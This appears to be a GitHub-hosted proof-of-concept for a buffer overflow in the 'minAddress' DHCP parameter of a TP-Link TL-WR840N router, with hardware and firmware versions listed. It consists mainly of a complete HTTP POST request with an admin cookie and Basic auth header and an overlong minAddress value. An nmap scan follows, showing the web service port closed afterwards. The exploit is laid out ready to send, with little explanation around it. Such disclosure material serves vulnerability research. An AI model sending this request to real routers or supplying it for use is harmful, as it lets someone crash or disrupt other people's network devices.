




 main 



Hardware-IoT / tp-link tl-wr840n_minAddress=.pdf

 **Quadron-Research-Lab** Add files via upload History

 1 contributor

226 KB 

tp-link tl-wr840n

hardware version: v6.20

firmware version: 0.9.1 4.16 v0001.0 Build 180614 Rel.40494n

Network->LAN-> settings

TP-Link Wireless N Router WR840N
Model No. TL-WR840N

LAN Settings

MAC Address: C0:C9:E3:32:6C:12
IP Address: 192.168.0.1
Subnet Mask: 255.255.255.0

Save

”minAddress=” parameter buffer overflow.

```
POST /cgi? HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: */*
Accept-Language: hu-HU,hu;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 3085
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/mainFrame.htm
Cookie: compact_display_state=false; user_ip=0.0.0.0; device_mode=router; user_login=admin; device-session-id=0f6c4fbc7a7ab794efe064d13269f759; JSESSIONID=5a5b685b06e0f5330ab8da99ffb11; Authorization=Basic YWRtaW46YWRtaW4=

[LAN_IP_INTF#1,1,0,0,0,0#0,0,0,0,0,0]0,2
IPInterfaceIPAddress=192.168.0.1
IPInterfaceSubnetMask=255.255.255.0
[LAN_HOST_CFG#1,0,0,0,0,0#0,0,0,0,0,0]1,9
DHCPSEnable=1
minAddress=192.168.0.100AAAAAAAAAAAAAA
maxAddress=192.168.0.199
IPRouters=192.168.0.1
DHCPLeaseTime=7200
domainName=gfdsgfsgfs
DNSServers=0.0.0.0,0.0.0.0
DHCPRelay=0
X_TP_DhcpRelayServer=0.0.0.0
```

```
C:\WINDOWS\system32>nmap -sV -PN -p80 192.168.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2022-03-06 15:52 Kézűp-eurpai túli ido
Nmap scan report for 192.168.0.1
Host is up (0.0034s latency).

PORT      STATE SERVICE VERSION
80/tcp    closed http
MAC Address: C0:C9:E3:32:6C:12 (Unknown)
```

